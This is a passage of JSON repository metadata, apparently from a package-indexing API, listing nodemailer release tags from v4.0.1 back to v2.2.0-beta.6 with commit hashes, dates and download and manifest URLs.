r.gz/v4.0.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.0.1/manifests","release_url":null},{"name":"v4.0.0","sha":"fe919abe335680cdd5764e996ae4c6c506ffaf92","kind":"tag","published_at":"2017-04-06T17:38:42.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.0.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.0.0/manifests","release_url":null},{"name":"v3.1.8","sha":"9b4f90ac6a93e154b90884ae2ddb07c091eb872e","kind":"tag","published_at":"2017-03-21T08:11:58.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v3.1.8","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v3.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v3.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.8/manifests","release_url":null},{"name":"v3.1.7","sha":"c2d6d418db344acbf7fec599af5e33ff77df4a78","kind":"tag","published_at":"2017-03-14T17:17:45.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v3.1.7","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v3.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v3.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.7/manifests","release_url":null},{"name":"v3.1.6","sha":"86f2b86f1f0714e1781c3ca4e5de34a7e38fe24a","kind":"tag","published_at":"2017-03-14T14:04:34.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v3.1.6","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v3.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v3.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.6/manifests","release_url":null},{"name":"v3.1.5","sha":"f2389b905e9841874caffeccbe06124d7092a3be","kind":"tag","published_at":"2017-03-08T16:33:45.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v3.1.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v3.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v3.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.5/manifests","release_url":null},{"name":"v3.1.4","sha":"3065a64d3f7e9b41cf17940eff4839d677e8af01","kind":"tag","published_at":"2017-02-26T13:06:10.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v3.1.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v3.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.4/manifests","release_url":null},{"name":"v3.1.3","sha":"ef202df0fcdd3b12736e4200cc18394f05eb07d0","kind":"tag","published_at":"2017-02-17T13:08:57.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v3.1.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.3/manifests","release_url":null},{"name":"v3.1.2","sha":"0097988fd93d36fb7d00b56329a04fdcea583e37","kind":"tag","published_at":"2017-02-17T10:35:34.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v3.1.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.2/manifests","release_url":null},{"name":"v3.1.1","sha":"315eb22c518fd616cc6a77a6e794e9f132b2e0be","kind":"tag","published_at":"2017-02-15T07:59:43.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v3.1.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.1/manifests","release_url":null},{"name":"v3.1.0","sha":"689f8346f43e04121fd92aa6c30bf30efec3733b","kind":"tag","published_at":"2017-02-13T16:52:56.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v3.1.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.1.0/manifests","release_url":null},{"name":"v3.0.2","sha":"9408e5fd2458fda2ed2828521a7f8b2e6c3cb7d0","kind":"tag","published_at":"2017-02-04T09:24:45.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v3.0.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.0.2/manifests","release_url":null},{"name":"v3.0.1","sha":"c17d6430729cfa775ddac1dcf3bda42e04af8b3b","kind":"tag","published_at":"2017-02-03T16:32:40.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v3.0.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.0.1/manifests","release_url":null},{"name":"v3.0.0","sha":"eaef3b5217226cb092d8549752831cb2a9aeaea0","kind":"tag","published_at":"2017-01-31T10:16:34.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v3.0.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v3.0.0/manifests","release_url":null},{"name":"v2.7.2","sha":"a108bc10516e0b38916e0b2060d5c6441454adb7","kind":"tag","published_at":"2017-01-22T18:17:34.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.7.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.7.2/manifests","release_url":null},{"name":"v2.7.1","sha":"e1da543d0f15c44e8139ec65d0fd77220ccdd8db","kind":"tag","published_at":"2017-01-22T14:40:38.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.7.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.7.1/manifests","release_url":null},{"name":"v2.7.0","sha":"17c77027b8abe89fd452d7c8e6388c4f6f780c8c","kind":"tag","published_at":"2016-12-08T10:10:23.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.7.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.7.0/manifests","release_url":null},{"name":"v2.6.4","sha":"06af6d2797a2ff75a84cfd00f339447d3ac32aaf","kind":"tag","published_at":"2016-09-21T18:05:59.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.6.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.6.4/manifests","release_url":null},{"name":"v2.6.3","sha":"a1d65e11c444a7063be1f13047987d417cefe82d","kind":"tag","published_at":"2016-09-21T18:04:36.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.6.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.6.3/manifests","release_url":null},{"name":"v2.6.2","sha":"125e3f621b253d0d92880529fa3c660f354cd5fc","kind":"tag","published_at":"2016-09-21T18:01:43.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.6.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.6.2/manifests","release_url":null},{"name":"v2.6.1","sha":"35bb998f4503317006312838b44514a82d9edc01","kind":"tag","published_at":"2016-09-21T17:55:43.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.6.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.6.1/manifests","release_url":null},{"name":"v2.6.0","sha":"3f528ad8739ce5d296c400cc4f13f83d825f9f4f","kind":"tag","published_at":"2016-09-05T13:18:04.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.6.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.6.0/manifests","release_url":null},{"name":"v2.5.0","sha":"c4b4623a7f575bae8f4ed56c0df48c22beceb738","kind":"commit","published_at":"2016-07-08T19:41:19.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.5.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.5.0/manifests","release_url":null},{"name":"v2.4.2","sha":"3a72eb0b940fb592008ae4a30eba0f1c13fa77c9","kind":"tag","published_at":"2016-05-25T20:48:43.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.4.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.4.2/manifests","release_url":null},{"name":"v2.4.1","sha":"f49c5c7f2dcc775a072d1e4bafe597ad3bd73f8a","kind":"tag","published_at":"2016-05-12T14:55:28.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.4.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.4.1/manifests","release_url":null},{"name":"v2.4.0","sha":"2cb56600615d812d5d814f568743e0683c63b51e","kind":"commit","published_at":"2016-05-11T11:29:58.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.4.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.4.0/manifests","release_url":null},{"name":"v2.4.0-beta.0","sha":"2eb76baed9db8fd061ff92f10b835998da9265de","kind":"tag","published_at":"2016-05-07T06:52:16.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.4.0-beta.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.4.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.4.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.4.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.4.0-beta.0/manifests","release_url":null},{"name":"v2.3.2-gpgtest.0","sha":"73585b0f147a4246dd37238479219590444da55e","kind":"tag","published_at":"2016-04-20T21:16:23.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.3.2-gpgtest.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.3.2-gpgtest.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.3.2-gpgtest.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.2-gpgtest.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.2-gpgtest.0/manifests","release_url":null},{"name":"v2.3.2","sha":"d0215985139d615239a83fb641f4cb5039010906","kind":"commit","published_at":"2016-04-11T18:56:03.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.3.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.2/manifests","release_url":null},{"name":"v2.3.1","sha":"ea5c1bdc2729d1722a0602775de65d4db9bce237","kind":"commit","published_at":"2016-04-08T09:32:13.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.3.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.1/manifests","release_url":null},{"name":"v2.3.1-rc.0","sha":"310eaa450f1b5b9cbc6ac78a2623fece3a30cdc4","kind":"commit","published_at":"2016-03-25T15:41:14.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.3.1-rc.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.3.1-rc.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.3.1-rc.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.1-rc.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.1-rc.0/manifests","release_url":null},{"name":"v2.3.0","sha":"7c3901a9f310b501ea51bdd273531bc68cfff63a","kind":"commit","published_at":"2016-03-03T08:57:06.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.3.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.0/manifests","release_url":null},{"name":"v2.3.0-rc.3","sha":"5c8194d667a8162a18a5942514d99bd424cd8e13","kind":"commit","published_at":"2016-02-29T21:18:25.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.3.0-rc.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.3.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.3.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.0-rc.3/manifests","release_url":null},{"name":"v2.3.0-rc.2","sha":"a0cdead5576c35b1fcfc7cb5c2fb61b7a311a2c3","kind":"commit","published_at":"2016-02-25T12:27:06.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.3.0-rc.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.3.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.3.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.0-rc.2/manifests","release_url":null},{"name":"v2.3.0-beta.1","sha":"7b1b6b39ec4de6760f409170fc11cbdf117e1660","kind":"commit","published_at":"2016-02-25T11:31:26.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.3.0-beta.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.3.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.3.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.0-beta.1/manifests","release_url":null},{"name":"v2.3.0-beta.0","sha":"3fc5c9f9a2ee7824ce6e5b4d07bbc261b8315491","kind":"commit","published_at":"2016-02-22T12:09:34.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.3.0-beta.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.3.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.3.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.3.0-beta.0/manifests","release_url":null},{"name":"v2.2.1","sha":"4039e95c2c7e40ccb9795596bd06f6d2983b3096","kind":"commit","published_at":"2016-02-20T09:22:27.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.1/manifests","release_url":null},{"name":"v2.2.0","sha":"c5da3008312d7e5d28cedf52c1bec09a86f2f4ca","kind":"commit","published_at":"2016-02-18T09:55:16.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0/manifests","release_url":null},{"name":"v2.2.0-rc.11","sha":"8201aa568970bfff99d57dbb9ef4e828b15f12f1","kind":"commit","published_at":"2016-02-17T20:22:10.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.0-rc.11","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.0-rc.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.0-rc.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-rc.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-rc.11/manifests","release_url":null},{"name":"v2.2.0-rc.10","sha":"b21b0382917d02188228d3d1d43b5426ea43e01e","kind":"commit","published_at":"2016-02-16T17:26:01.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.0-rc.10","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.0-rc.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.0-rc.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-rc.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-rc.10/manifests","release_url":null},{"name":"v2.2.0-rc.9","sha":"194e9406b499ccc1f2c41cab0b810a1453a770ff","kind":"commit","published_at":"2016-02-15T11:58:41.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.0-rc.9","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.0-rc.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.0-rc.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-rc.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-rc.9/manifests","release_url":null},{"name":"v2.2.0-rc.8","sha":"380528e9726bc1bfd91eb157d55b7ae8e3d67558","kind":"commit","published_at":"2016-02-13T11:52:06.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.0-rc.8","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.0-rc.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.0-rc.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-rc.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-rc.8/manifests","release_url":null},{"name":"v2.2.0-rc.7","sha":"3fa7d25deadb777421759703453c2160e01219c4","kind":"commit","published_at":"2016-02-12T12:43:09.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.0-rc.7","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v2.2.0-rc.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v2.2.0-rc.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-rc.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v2.2.0-rc.7/manifests","release_url":null},{"name":"v2.2.0-beta.6","sha":"cfa9cfc33947d41f8dc75df7638b669ad8bd0472","kind":"commit","published_at":"2016-02-11T14:27:34.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v2.2.0-beta.6","html_u